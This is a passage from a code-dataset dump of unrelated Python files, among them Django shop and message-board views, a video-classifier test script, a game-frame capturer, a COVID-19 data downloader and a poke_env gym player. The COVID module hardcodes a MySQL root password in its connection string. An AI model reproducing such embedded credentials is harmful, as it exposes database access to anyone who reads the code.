dasstats.append({\"user_id\":b.user_id,\"status\":b.status,\"module\":a,\"dtg\":b.dtg})\n\n\n return render(request, \"manage.html\", {\"total_invites\":total_invites,\n \"pending_invites\":pending_invites,\n \"team_pending_invites\":team_pending_invites,\n \"team_all_invites\":team_all_invites,\n \"current_team\":current_team,\n \"module_status\":module_status,\n \"dasstats\":dasstats,\n \"modules\":module_all})\n\n\n\n\n@login_required\ndef module(request, storage=None):\n\n try:\n current_module = Modules.objects.get(storage=storage)\n if not ModulesStatus.objects.filter(user=request.user,module=current_module):\n ModulesStatus(user=request.user,\n module=current_module,\n status=\"started\").save()\n\n return render(request, \"module.html\", {\"module\": current_module})\n\n except:\n info(request, \"There was an error with your request\")\n return redirect(\"/home/\")\n\n\n\n@login_required\ndef profile(request):\n\n if request.method == \"POST\":\n current_user = User.objects.get(username=request.user.username)\n current_user.email = request.POST['email']\n current_user.first_name = request.POST['firstname']\n current_user.last_name = request.POST['lastname']\n current_user.save()\n info(request, \"Profile Updated\")\n return redirect('/profile')\n\n else:\n return render(request, \"profile.html\")\n\n\n@login_required\ndef userlogout(request):\n\n logout(request)\n return redirect(\"/home/\")\n\n\n@login_required\ndef message(request, message_id=None):\n\n myprofile = UserProfile.objects.get(user=request.user)\n board = MessageBoard.objects.filter(team=myprofile.team, parent=0).order_by(\"-id\")\n board_views = MessageViews.objects.filter(user=request.user)\n\n if request.method == \"POST\":\n\n try:\n\n MessageBoard(body=request.POST[\"body\"],\n author=request.user,\n parent=request.POST[\"parent\"],\n team=myprofile.team).save()\n\n info(request,\"beta message\")\n return redirect(\"/message/\" + request.POST[\"parent\"])\n except:\n MessageBoard(title=request.POST[\"title\"],\n body=request.POST[\"body\"],\n author=request.user,\n parent=0,\n team=myprofile.team).save()\n info(request, \"Message Posted\")\n return redirect(\"/message/\")\n\n\n if message_id:\n try:\n payload = MessageBoard.objects.get(id=message_id)\n payload_reply = MessageBoard.objects.filter(parent=message_id)\n if not MessageViews.objects.filter(message=payload, user=request.user, data=\"view\"):\n MessageViews(message=payload, user=request.user, data=\"view\").save()\n except:\n info(request, \"There was a problem with your request\")\n return redirect(\"/message/\")\n\n else:\n payload=None\n payload_reply=None\n\n return render(request, \"message.html\", {\"board\":board,\n \"views\":board_views,\n \"payload\":payload,\n \"payload_reply\":payload_reply})\n\n\n","sub_path":"playground/dlp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"330007511","text":"import glob\nimport os\nimport sys\nimport time\n\nimport numpy as np\nimport tensorboardX as tb\nimport torch\nimport torch.optim as optim\nimport os\nimport utils.timer\nfrom datasets.dataTools.test_data_loader import DataLoader\nfrom options.config import cfg\nfrom options.options import opt\nfrom PIL import Image\n\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\n\nclass SolverWrapper(object):\n \"\"\"\n A wrapper class for the training process\n \"\"\"\n\n def __init__(self, network, vidb, bsdb, model_path):\n self.net = network\n self.vidb = vidb\n self.bsdb = bsdb\n self.bsdb_len = len(self.bsdb)\n self.model_path = model_path\n\n def construct_graph(self):\n torch.manual_seed(cfg.RNG_SEED)\n self.net.init_modules(self.vidb.num_classes)\n\n def initialize(self):\n \"\"\"\n 初始化参数\n \"\"\"\n self.net.load_state_dict(torch.load(str(self.model_path)))\n\n def test_model(self):\n self.data_loader = DataLoader(self.bsdb, self.vidb.num_classes, cfg.PIXEL_MEAN, num_kernel=cfg.KERNEL_NUM,\n image_size=cfg.IMAGE_SIZE, frame_jump=opt.frame_jump)\n # Construct the computation graph\n self.construct_graph()\n\n self.initialize()\n\n self.net.eval()\n self.net.to(self.net.device)\n acc = 0\n for i in range(0, self.bsdb_len):\n frames, classes = self.data_loader.set_index(i)\n labels = torch.Tensor().long().to(self.net._device)\n print(i)\n for j in range(0, int(frames//(1.5)), 2):\n test_batch, test_label, test_class = self.data_loader.forward(j)\n label = self.net.test(test_batch, test_label, test_class)\n labels = torch.cat([labels, label], dim=0)\n label, is_true = get_true_label(labels, classes)\n if is_true:\n acc += 1\n print(\"Computed label : {}, Real Label : {}\".format(\n self.vidb._ind_to_class[label], self.vidb._ind_to_class[classes]))\n acc_ = acc / self.bsdb_len\n print('Test accuracy: %.6f' % (acc_))\n\n\ndef get_true_label(labels, real_label):\n \"\"\" \n labels 每一帧 判断出来的label Tensor\n real_label 真实标签\n \"\"\"\n labels_np = labels.cpu().numpy()\n label = np.argmax(np.bincount(labels_np))\n is_true = True if label == real_label else False\n return label, is_true\n\n\ndef get_bsdb_from_vidb(vidb):\n return vidb.bsdb\n\n\ndef test_net(network, vidb, bsdb, model_path):\n \"\"\"Train network\"\"\"\n sw = SolverWrapper(network, vidb, bsdb, model_path)\n # 准备训练\n sw.test_model()\n","sub_path":"model/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"430389942","text":"import capture\nimport images\nimport pickle\nimport dino.score as score\nimport numpy as np\nimport reduction\n\n\nclass RawGameCapturer(capture.Capture):\n def __init__(self, reduction_factor_x=1, reduction_factor_y=None):\n \"\"\"Capture the whole game environment.\"\"\"\n self.reduction_factor_x = reduction_factor_x\n self.reduction_factor_y = reduction_factor_y or reduction_factor_x\n self.capturer = capture.ScreenRegion(664, 173, 593, 102)\n\n def capture(self):\n \"\"\"Capture the game environment.\"\"\"\n return images.greyscale(self.capturer.capture())[\n :: self.reduction_factor_x, :: self.reduction_factor_y\n ]\n\n\ndef collect_raw_footage(backlog_size=10):\n \"\"\"Collect raw images of the game being played.\"\"\"\n backlog = capture.CaptureBacklog(\n capture.CaptureGroup(score=score.ScoreCapturer(2), game=RawGameCapturer(4)), 20\n )\n key_capturer = capture.KeyState(\"up\")\n frames = []\n\n try:\n while True:\n await_game_start(key_capturer)\n await_game_finish(frames, backlog)\n except KeyboardInterrupt:\n save_raw_footage([frame[\"game\"] for frame in frames])\n return None\n\n\ndef get_raw_footage_location():\n \"\"\"Return the location of the raw footage save file.\"\"\"\n return \"data/raw_frames.obj\"\n\n\ndef save_raw_footage(frames):\n \"\"\"Saves raw footage as a tensor under data/raw_frames.obj.\"\"\"\n file_handler = open(get_raw_footage_location(), \"wb\")\n numpy_frames = np.array(frames)\n pickle.dump(np.reshape(numpy_frames, [numpy_frames.shape[0], -1]), file_handler)\n file_handler.close()\n\n\ndef load_raw_frames():\n \"\"\"Load the numpy array containing the raw game frames.\"\"\"\n file_handler = open(get_raw_footage_location(), \"rb\")\n object = pickle.load(file_handler)\n file_handler.close()\n return object\n\n\ndef await_game_start(up_capturer):\n \"\"\"Wait until the game starts, and then return.\"\"\"\n while True:\n if up_capturer.capture():\n print(\"Game started.\")\n return None\n\n\ndef await_game_finish(frames, backlog):\n \"\"\"Wait for the game to finish, recording frames while doing so.\"\"\"\n while True:\n frames.append(backlog.update())\n if backlog.full:\n mean = np.mean(np.square(backlog.at(0)[\"game\"] - backlog.at(-1)[\"game\"]))\n if mean == 0.0:\n print(\"Game finished.\")\n return None\n\n\ndef create_autoencoder(name, latent_dimension, layers):\n \"\"\"Create an autoencoder for compressing game frames.\"\"\"\n autoencoder = reduction.make_mirrored_autoencoder(\n 26 * 149, latent_dimension, layers\n )\n reduction.save_autoencoder(autoencoder, name)\n\n\ndef load_autoencoder(name):\n \"\"\"Load an autoencoder and compile it for training.\"\"\"\n autoencoder = reduction.load_autoencoder(name)\n return autoencoder\n\n\ndef format_frame_vector(frame):\n \"\"\"Format a frame vector into a matrix so it can be displayed.\"\"\"\n return np.reshape(frame, (26, 149))\n\n\nsave_autoencoder = reduction.save_autoencoder\n","sub_path":"dino/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"425992384","text":"# -*- coding: utf-8 -*-\n'''\n@Time : 2017/5/2 17:20\n\n@author: song\n'''\nimport pandas as pd\nimport time\nexcel_data=pd.read_table('D:/2015seeds.csv',sep=',')\n\ndef exp01(data1):\n '''\n 对单条数据进行展开\n \n :param data1: eg:['island11','A','T1',15,81]\n :return: 展开结果 eg : [island11, A, T1 ,1]\n '''\n tl1=list(data1[0:3])\n tl2 = list(data1[0:3])\n\n ##展开为0的项,如果数量为零返回空列表\n if data1[3] !=0:\n\n tl1.append('1')\n list1=[tl1]*data1[3]\n # print list1\n else:\n list1=[]\n ##展开为1的项,如果数量为零返回空列表\n if data1[4] !=0:\n tl2.append('0')\n list2 = [tl2] * data1[4]\n # print list2\n else:\n list2=[]\n ## 合并0和1列表\n flist=list1+list2\n return flist\n\ndef trans01(data):\n '''\n 对每一行数据展开\n \n :param data: excel原数据\n :return: excel展开结果\n '''\n tlist=[]\n for i in data.values:\n # print i\n tlist+=exp01(i)\n\n ##先生成列表,再将列表转化为数据框\n fDF=pd.DataFrame(tlist)\n return fDF\n\n\nxx= trans01(excel_data)\n# print xx\n# print xx[xx[2]=='T1']\n\nxx.to_csv('D:/2015seedsexp.csv')\n\n\n","sub_path":"othersthings/doexcel.py","file_name":"doexcel.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"598058095","text":"#!/usr/bin/env python\nimport shutil\nfrom os import path\nimport sys\nimport csv\n\nimport yaml\n\nFILES = ('ships.csv',)\n\ndef build_navalbattles(src, dst):\n filename = path.join(src, \"rawdata\", \"ships\", \"ships_in_battles.yaml\")\n with open(filename, \"r\") as f:\n data = yaml.load(f)\n battles = []\n for battle in data:\n confederate_ships = len(battle['Confederate'])\n us_ships = len(battle['US'])\n us_fortifications = 'US' in battle['fortifications']\n confederate_fortifications = 'Confederate' in battle['fortifications']\n btl = {'cwsac_id': battle['cwsac_id'],\n 'confederate_ships': confederate_ships,\n 'us_ships': us_ships,\n 'confederate_fortifications': confederate_fortifications,\n 'us_fortifications': confederate_fortifications}\n battles.append(btl)\n dstfile = path.join(dst, 'navalbattles.csv')\n with open(dstfile, 'w') as f:\n print(\"Writing: %s\" % dstfile)\n fieldnames = ('cwsac_id',\n 'confederate_ships',\n 'us_ships',\n 'confederate_fortifications',\n 'us_fortifications')\n writer = csv.DictWriter(f, fieldnames)\n writer.writeheader()\n writer.writerows(battles)\n\n\ndef build_ships_in_battles(src, dst):\n filename = path.join(src, \"rawdata\", \"ships\", \"ships_in_battles.yaml\")\n with open(filename, \"r\") as f:\n data = yaml.load(f)\n ships = []\n for battle in data:\n for belligerent in ('Confederate', 'US'):\n try:\n for ship in battle[belligerent]:\n ships.append({'cwsac_id': battle['cwsac_id'],\n 'belligerent': belligerent,\n 'ship': ship})\n except KeyError:\n pass\n dstfile = path.join(dst, 'ships_in_battles.csv')\n with open(dstfile, 'w') as f:\n print(\"Writing: %s\" % dstfile)\n fieldnames = ('cwsac_id', 'belligerent', 'ship')\n writer = csv.DictWriter(f, fieldnames)\n writer.writeheader()\n writer.writerows(ships)\n\ndef copyfiles(src, dst):\n for fn in FILES:\n srcfile = path.join(src, \"rawdata\", \"ships\", fn)\n dstfile = path.join(dst, fn)\n print(\"Writing: %s\" % dstfile)\n shutil.copy(srcfile, dstfile)\n\ndef main():\n src = sys.argv[1]\n dst = sys.argv[2]\n print(\"Building ships data\")\n copyfiles(src, dst)\n build_ships_in_battles(src, dst)\n build_navalbattles(src, dst)\n\nif __name__ == '__main__':\n main()\n","sub_path":"bin/build_ships.py","file_name":"build_ships.py","file_ext":"py","file_size_in_byte":2595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"225332704","text":"from django.conf.urls import url\nfrom . import views\n\napp_name='devices'\n\nurlpatterns = [\n #/devices/ ---homepage\n url(r'^$', views.index,name='index'),\n #/devices/home/\n url(r'^home/$',views.home,name='home'),\n #/devices/aboutus/\n url(r'^about_us/$',views.about_us,name='about_us'),\n #/devices/retpolicy/\n url(r'^retpolicy/$',views.returnpolicy,name='returnpolicy'),\n\n #/devices/support/\nurl(r'^support/$',views.support,name='support'),\n\n#/devices/credits/\nurl(r'^credit/$',views.credit,name='credit'),\n #/devices/homeres/\n url(r'^homeres/$',views.homeres,name='homeres'),\n #/devices/map/\n url(r'^map/$',views.mymap,name='mymap'),\n #/devices/mail/\n url(r'^mail/$',views.mailsend,name='mailsend'),\n\n #/devices/register/\n url(r'^register/$',views.register,name='register'),\n #/devices/update/\n url(r'^update/$',views.update,name='update'),\n\n #/devices/delitem/\n url(r'^delitem1/$',views.delete1,name='delete1'),\n #/devices/delitem/\n url(r'^delitem2/$',views.delete2,name='delete2'),\n #/devices/delitem/\n url(r'^delitem3/$',views.delete3,name='delete3'),\n\n #/devices/addressreg/\n url(r'^addressreg/$',views.addressreg,name='addressreg'),\n #/devices/login_user/\n url(r'^login_user/$',views.login_user,name='login_user'),\n #/devices/logout_user/\n url(r'^logout_user/$',views.logout_user,name='logout_user'),\n\n #/devices/oneplus/\n url(r'^oneplus/$',views.liop,name='liop'),\n #/devices/oneplus/1/\n url(r'^oneplus/(?P[0-9]+)/$',views.opde,name='opde'),\n #/devices/oneplus/1/buy/\n url(r'^oneplus/(?P[0-9]+)/buy/$',views.opbuy,name='opbuy'),\n #devices/outofstock/compname/modelname/\n url(r'^outofstock/(?P[A-Za-z0-9 ]+)/(?P[A-Za-z0-9 ]+)/$',views.outofstock,name='outofstock'),\n #devices/placeorder/comp_name/model_name/\n url(r'^placeorder/(?P[A-Za-z0-9 ]+)/(?P[A-Za-z0-9 ]+)/$',views.placeorder,name='placeorder'),\n #/devices/xiaomi/\n url(r'^xiaomi/$',views.limi,name='limi'),\n #/devices/xiaomi/1/\n url(r'^xiaomi/(?P[0-9]+)/$',views.mide,name='mide'),\n #/devices/xiaomi/1/buy/\n url(r'^xiaomi/(?P[0-9]+)/buy/$',views.mibuy,name='mibuy'),\n\n #/devices/samsung/\n url(r'^samsung/$',views.liss,name='liss'),\n #/devices/samsung/1/\n url(r'^samsung/(?P[0-9]+)/$',views.ssde,name='ssde'),\n #/devices/samsung/1/buy/\n url(r'^samsung/(?P[0-9]+)/buy/$',views.ssbuy,name='ssbuy'),\n\n #/devices/leonovo/\n url(r'^lenovo/$',views.lilen,name='lilen'),\n #/devices/lenovo/1/\n url(r'^lenovo/(?P[0-9]+)/$',views.lende,name='lende'),\n #/devices/lenovo/1/buy/\n url(r'^lenovo/(?P[0-9]+)/buy/$',views.lenbuy,name='lenbuy'),\n\n #/devices/google/\n url(r'^google/$',views.ligo,name='ligo'),\n #/devices/google/1/\n url(r'^google/(?P[0-9]+)/$',views.gode,name='gode'),\n #/devices/google/1/buy/\n url(r'^google/(?P[0-9]+)/buy/$',views.gobuy,name='gobuy'),\n\n #/devices/sony/\n url(r'^sony/$',views.lison,name='lison'),\n #/devices/sony/1/\n url(r'^sony/(?P[0-9]+)/$',views.sonde,name='sonde'),\n #/devices/sony/1/buy/\n url(r'^sony/(?P[0-9]+)/buy/$',views.sonbuy,name='sonbuy'),\n\n\n #/devices/apple/\n url(r'^apple/$',views.liap,name='liap'),\n #/devices/apple/1/\n url(r'^apple/(?P[0-9]+)/$',views.apde,name='apde'),\n #/devices/apple/1/buy/\n url(r'^apple/(?P[0-9]+)/buy/$',views.apbuy,name='apbuy'),\n\n #/devices/moto/\n url(r'^moto/$',views.limo,name='limo'),\n #/devices/moto/1/\n url(r'^moto/(?P[0-9]+)/$',views.mode,name='mode'),\n #/devices/moto/1/buy/\n url(r'^moto/(?P[0-9]+)/buy/$',views.mobuy,name='mobuy'),\n\n #/devices/lg/\n url(r'^lg/$',views.lilg,name='lilg'),\n #/devices/lg/1/\n url(r'^lg/(?P[0-9]+)/$',views.lgde,name='lgde'),\n #/devices/lg/1/buy/\n url(r'^lg/(?P[0-9]+)/buy/$',views.lgbuy,name='lgbuy'),\n\n\n#/devices/asus/\nurl(r'^asus/$',views.lias,name='lias'),\n#/devices/asus/1/\nurl(r'^asus/(?P[0-9]+)/$',views.asde,name='asde'),\n #/devices/asus/1/buy/\n url(r'^asus/(?P[0-9]+)/buy/$',views.asbuy,name='asbuy'),\n\n #/devices/cartdetails/\n url(r'^cartdetails/$',views.cartdetails,name='cartdetails'),\n #/music/712/----712-(album_id)\n url(r'^(?P[0-9]+)/$',views.detail,name='detail'),\n\n #/music/')\n\toutput.append(':')\n\tfor x in soup.find_all('div', {'class': \"field-name-field-skladniki\"}):\n\t\tfor y in x.find_all('li'):\n\t\t\toutput.append(y.text.strip())\n\n\toutput.append('')\n\tfor x in soup.find_all('div', {'class': \"field-name-field-przygotowanie\"}):\n\t\tfor y in x.find_all('li'):\n\t\t\toutput.append(y.text.strip())\n\n\toutput.append('')\n\treturn output\n\ndef dump_array(array, file):\n\twith open(file, \"a\") as text_file:\n\t\tfor line in array:\n\t\t\tprint(line, file=text_file)\n\n\nif __name__ == '__main__':\n\tfor index, href in enumerate(get_all_links()):\n\t\tprint ('{} {}'.format(index, href))\n\t\tdump_array(scrap(href), 'input.txt')\n\n\n","sub_path":"scrapers/kwestiasmaku/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"479870981","text":"from django.urls import path\nfrom .views import *\n\nurlpatterns = [\n path('', Home),\n path('blog/', Blog),\n path('blog/input/', inputblog, name='inputblog'),\n path('mentor/', mentor),\n path('mentor/input/', inputmentor, name='inputmentor'),\n path('mentee/', mentee),\n path('mentee/input/', inputmentee, name='inputmentee'),\n path('author/', Author),\n\n]","sub_path":"Home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"535049420","text":"N, M = map(int, input().split())\n\ncase = [i for i in range(1, N+1)]\ndisk = []\nfor _ in range(M):\n disk.append(int(input()))\n\nnow = 0\nfor d in disk:\n if d == now:\n continue\n i = case.index(d)\n tmp = case[i]\n case[i] = now\n now = tmp\n\nfor c in case:\n print(c)\n","sub_path":"ARC_B/ARC007_B.py","file_name":"ARC007_B.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"387774489","text":"#Module to download data files containing COVID19 data, cleaning and\r\n#organising data and writing cleaned data to a database file.\r\n\r\n#This module(when executed) also replaces the downloaded files with new file from net\r\n#which are older than 2 days\r\n\r\n#Part of Project: COVID19 Statstics\\Visualisation\r\n\r\n\r\n#https://covid19.who.int/WHO-COVID-19-global-data.csv\r\n#https://covid.ourworldindata.org/data/owid-covid-data.csv\r\n#https://api.covid19india.org/data.json\r\n#https://api.covid19india.org/states_daily.json\r\n\r\nimport requests\r\nfrom datetime import *\r\nfrom pathlib import Path\r\nimport os\r\nimport platform\r\nimport pickle\r\nimport pandas as pd\r\nimport numpy as np\r\nimport json\r\nimport matplotlib.pyplot as plt\r\nfrom sqlalchemy import create_engine\r\nimport traceback\r\n\r\n#Setting pandas options for debugging\\output to shell \r\npd.set_option('display.max_columns', None)\r\npd.set_option('display.max_rows', None)\r\n\r\n#List of file names downloaded from internet and used for making\r\n#pandas DataFrame objects\r\nfiles = [\r\n 'covid19_global_data.csv',\r\n 'states_daily.json',\r\n 'states_total.json'\r\n ]\r\n\r\n#List of download urls\r\nurls = [\r\n 'https://covid.ourworldindata.org/data/owid-covid-data.csv',\r\n 'https://api.covid19india.org/states_daily.json',\r\n 'https://api.covid19india.org/data.json'\r\n ]\r\n\r\n#Flag to check if files are downloaded or not\r\ndownload = False\r\n\r\ndef update_covid19_database():\r\n #List of file names downloaded from internet and used for making\r\n #pandas DataFrame objects\r\n files = [\r\n 'covid19_global_data.csv',\r\n 'states_daily.json',\r\n 'states_total.json'\r\n ]\r\n\r\n #List of download urls\r\n urls = [\r\n 'https://covid.ourworldindata.org/data/owid-covid-data.csv',\r\n 'https://api.covid19india.org/states_daily.json',\r\n 'https://api.covid19india.org/data.json'\r\n ]\r\n\r\n #Flag to check if files are downloaded or not\r\n download = False\r\n\r\n for file, url in zip(files, urls):\r\n #Creating neccessary file paths and data directory\r\n my_file = Path('.\\\\data\\\\'+file)\r\n my_file.parent.mkdir(exist_ok=True)\r\n directory = '.\\\\data\\\\'\r\n\r\n\r\n #Check if file already exists\r\n if my_file.is_file():\r\n\r\n file_mtime = datetime.fromtimestamp(os.stat(my_file)[-2]) #file modify time\r\n now = datetime.now()\r\n\r\n time_elapsed = now - file_mtime\r\n\r\n #Execute this block if file does not exist or file is older than 2 days\r\n if not my_file.is_file() or now.day > file_mtime.day: #time_elapsed > timedelta(hours=23):\r\n try:\r\n response = requests.get(url)\r\n response.raise_for_status() # Check that the request was successful\r\n\r\n download = True\r\n\r\n with open(my_file, \"wb\") as f:\r\n f.write(response.content)\r\n\r\n except requests.exceptions.HTTPError:\r\n status = 'Invalid URL'\r\n last_update = file_mtime\r\n return status, last_update\r\n except requests.exceptions.ConnectionError:\r\n status = 'Unable to Connect to Internet'\r\n last_update = file_mtime\r\n return status, last_update\r\n except requests.exceptions.Timeout:\r\n status = 'Connection Timeout'\r\n last_update = file_mtime\r\n return status, last_update\r\n except requests.exceptions.RequestException:\r\n status = 'Unknown'\r\n last_update = file_mtime\r\n return status, last_update\r\n \r\n if download is False:\r\n status = 'No download'\r\n last_update = file_mtime\r\n return status, last_update\r\n\r\n if download:\r\n \r\n #Defining df containing data of all countries (Aggregate)\r\n parent_df = pd.read_csv(directory+'covid19_global_data.csv',\r\n header=0,\r\n #index_col=['location', 'date'],\r\n #nrows=70,\r\n usecols=['iso_code', 'continent', 'location',\r\n 'date', 'total_cases', 'new_cases',\r\n 'total_deaths', 'new_deaths',\r\n 'new_tests', 'total_tests',\r\n 'tests_per_case', 'positive_rate',\r\n 'population',\r\n 'population_density'],\r\n parse_dates=['date']\r\n )\r\n\r\n #Cleaning and organising parent_df\r\n i = parent_df[parent_df.location=='International'].index\r\n parent_df.drop(i, inplace=True)\r\n\r\n parent_df = parent_df.fillna(value={'total_cases':0, 'new_cases':0,\r\n 'total_deaths':0, 'new_deaths':0,\r\n 'new_tests':0, 'total_tests':0,\r\n 'tests_per_case':0, 'positive_rate':0,\r\n 'population':0, 'population_density':0,\r\n 'continent':'Global'}\r\n )\r\n\r\n parent_df = parent_df.astype(dtype={'iso_code':'string', 'continent':'string',\r\n 'location':'string', 'total_cases':'int64',\r\n 'new_cases':'int64', 'total_deaths':'int64',\r\n 'new_deaths':'int64', 'new_tests':'int64',\r\n 'total_tests':'int64',\r\n 'tests_per_case':'float64',\r\n 'positive_rate':'float64',\r\n 'population':'int64',\r\n 'population_density':'float64'}\r\n )\r\n\r\n parent_df.rename(columns={'location':'country'}, inplace=True)\r\n\r\n\r\n #Defining df containing data of all states of India (Daily)\r\n with open(directory+'states_daily.json', mode='r') as fp:\r\n dict_india = json.load(fp) \r\n\r\n india_df = pd.DataFrame(dict_india['states_daily'])\r\n india_df.drop(columns='dateymd', inplace=True)\r\n\r\n #Cleaning and organising india_df\r\n india_df = india_df.melt(id_vars=['date','status'])\r\n\r\n india_df = pd.pivot_table(india_df,values='value',\r\n index=['date','variable'],\r\n columns=['status'], aggfunc=np.sum)\r\n\r\n india_df.reset_index(inplace=True)\r\n india_df['date']= pd.to_datetime(india_df['date'])\r\n india_df.sort_values(by=['variable', 'date'], inplace=True)\r\n india_df.columns.name = None\r\n india_df.reset_index(drop=True, inplace=True)\r\n\r\n india_df.rename(columns={'variable':'state',\r\n 'Confirmed':'confirmed',\r\n 'Deceased':'deceased',\r\n 'Recovered':'recovered'},\r\n inplace=True)\r\n\r\n india_df = india_df.astype(dtype={'state':'string',\r\n 'confirmed':'int64',\r\n 'deceased':'int64',\r\n 'recovered':'int64'})\r\n\r\n #Replacing states codes in india_df with state names\r\n with open('.\\\\data\\\\state_code_dict.pickle', 'rb') as fh:\r\n state_dict = pickle.load(fh)\r\n #state_dict = code_to_dict()\r\n state_dict['tt'] = 'Total'\r\n india_df['state'].replace(to_replace=state_dict,\r\n inplace=True)\r\n\r\n india_df['total_confirmed'] = india_df.groupby('state')['confirmed'].transform(pd.Series.cumsum)\r\n india_df['total_deceased'] = india_df.groupby('state')['deceased'].transform(pd.Series.cumsum)\r\n\r\n\r\n #Defining df containing data of all states of India (Aggregate)\r\n with open(directory+'states_total.json', mode='r') as fp:\r\n dict_in_tot = json.load(fp) \r\n\r\n in_tot_df = pd.DataFrame(dict_in_tot['statewise'])\r\n\r\n #Cleaning and organising in_tot_df\r\n in_tot_df.drop(columns=['deltaconfirmed', 'deltadeaths', 'deltarecovered',\r\n 'migratedother', 'statenotes'],\r\n inplace=True)\r\n\r\n #in_tot_df.columns.tolist()\r\n cols = ['statecode', 'state', 'lastupdatedtime', 'confirmed',\r\n 'active', 'recovered', 'deaths', ] #Reordering columns\r\n in_tot_df = in_tot_df[cols]\r\n\r\n in_tot_df.drop(index=in_tot_df[in_tot_df['state']=='State Unassigned'].index,\r\n inplace=True)\r\n\r\n in_tot_df.reset_index(drop=True, inplace=True)\r\n in_tot_df['lastupdatedtime']= pd.to_datetime(in_tot_df['lastupdatedtime'],\r\n dayfirst=True)\r\n in_tot_df = in_tot_df.astype({'statecode':'string',\r\n 'state':'string',\r\n 'confirmed':'int64',\r\n 'active':'int64',\r\n 'recovered':'int64',\r\n 'deaths':'int64'})\r\n\r\n in_pop_df = pd.read_csv(r'data\\state_pop.csv', index_col=0)\r\n in_pop_df = in_pop_df.astype(dtype={'State or union territory':'string',\r\n 'Population':'int64',\r\n 'Density':'int64'})\r\n \r\n in_tot_df = in_tot_df.merge(in_pop_df, how='inner', left_on='state', right_on='State or union territory')\r\n in_tot_df = in_tot_df[['statecode', 'state', 'lastupdatedtime', 'confirmed', 'active','recovered',\r\n 'deaths', 'Population', 'Density']]\r\n in_tot_df.rename(columns={'Population':'population',\r\n 'Density':'density'},\r\n inplace=True)\r\n #print(in_tot_df)\r\n\r\n #Writing the cleaned DataFrames(3) to database file\r\n engine = create_engine(f'sqlite:///{directory}data.db', echo=False)\r\n\r\n parent_df.to_sql('global', con=engine, if_exists='replace', index_label='ID')\r\n india_df.to_sql('india_daily', con=engine, if_exists='replace', index_label='ID')\r\n in_tot_df.to_sql('india_total', con=engine, if_exists='replace', index_label='ID')\r\n\r\n mysql_engine = create_engine(\"mysql+mysqlconnector://root:mysqlluv92@localhost/covid19\")\r\n\r\n parent_df.to_sql('global', con=mysql_engine, if_exists='replace', index_label='ID', chunksize=500)\r\n india_df.to_sql('india_daily', con=mysql_engine, if_exists='replace', index_label='ID', chunksize=500)\r\n in_tot_df.to_sql('india_total', con=mysql_engine, if_exists='replace', index_label='ID', chunksize=500)\r\n\r\n status = 'Success'\r\n last_update = now\r\n return status, last_update\r\n\r\nif __name__ == '__main__':\r\n \r\n if download:\r\n print(\"Files downloaded succesfully:\")\r\n\r\n try:\r\n for file in files:\r\n print(file,\r\n datetime.fromtimestamp(os.stat(my_file)[-2]).strftime('%Y-%m-%d %H:%M:%S'))\r\n except FileNotFoundError:\r\n print('Files not found.')\r\n","sub_path":"covid19data.py","file_name":"covid19data.py","file_ext":"py","file_size_in_byte":11556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"593116680","text":"# -*- coding: utf-8 -*-\n\"\"\"This module defines a player class exposing the Open AI Gym API.\n\"\"\"\n\nfrom abc import ABC, abstractmethod, abstractproperty\nfrom gym.core import Env # pyre-ignore\n\nfrom queue import Queue\nfrom threading import Thread\n\nfrom typing import Any, Callable, List, Optional, Tuple\n\nfrom poke_env.environment.battle import Battle\nfrom poke_env.player.player import Player\nfrom poke_env.player_configuration import PlayerConfiguration\nfrom poke_env.server_configuration import ServerConfiguration\nfrom poke_env.utils import to_id_str\n\n\nimport asyncio\nimport numpy as np # pyre-ignore\nimport time\n\n\nclass EnvPlayer(Player, Env, ABC): # pyre-ignore\n \"\"\"Player exposing the Open AI Gym Env API. Recommended use is with play_against.\n \"\"\"\n\n MAX_BATTLE_SWITCH_RETRY = 10000\n PAUSE_BETWEEN_RETRIES = 0.001\n\n def __init__(\n self,\n player_configuration: PlayerConfiguration,\n *,\n avatar: Optional[int] = None,\n battle_format: str,\n log_level: Optional[int] = None,\n server_configuration: ServerConfiguration,\n start_listening: bool = True,\n ):\n \"\"\"\n :param player_configuration: Player configuration.\n :type player_configuration: PlayerConfiguration\n :param avatar: Player avatar id. Optional.\n :type avatar: int, optional\n :param battle_format: Name of the battle format this player plays.\n :type battle_format: str\n :param log_level: The player's logger level.\n :type log_level: int. Defaults to logging's default level.\n :param server_configuration: Server configuration.\n :type server_configuration: ServerConfiguration\n :param start_listening: Wheter to start listening to the server. Defaults to\n True.\n :type start_listening: bool\n \"\"\"\n super(EnvPlayer, self).__init__(\n player_configuration=player_configuration,\n avatar=avatar,\n battle_format=battle_format,\n log_level=log_level,\n max_concurrent_battles=1,\n server_configuration=server_configuration,\n start_listening=start_listening,\n )\n self._actions = {}\n self._current_battle: Battle\n self._observations = {}\n self._reward_buffer = {}\n self._start_new_battle = False\n\n @abstractmethod\n def _action_to_move(self, action: int, battle: Battle) -> str:\n \"\"\"Abstract method converting elements of the action space to move orders.\n \"\"\"\n pass\n\n def _battle_finished_callback(self, battle: Battle) -> None:\n self._observations[battle].put(self.embed_battle(battle))\n\n def _init_battle(self, battle: Battle) -> None:\n self._observations[battle] = Queue()\n self._actions[battle] = Queue()\n\n def choose_move(self, battle: Battle) -> str:\n if battle not in self._observations or battle not in self._actions:\n self._init_battle(battle)\n 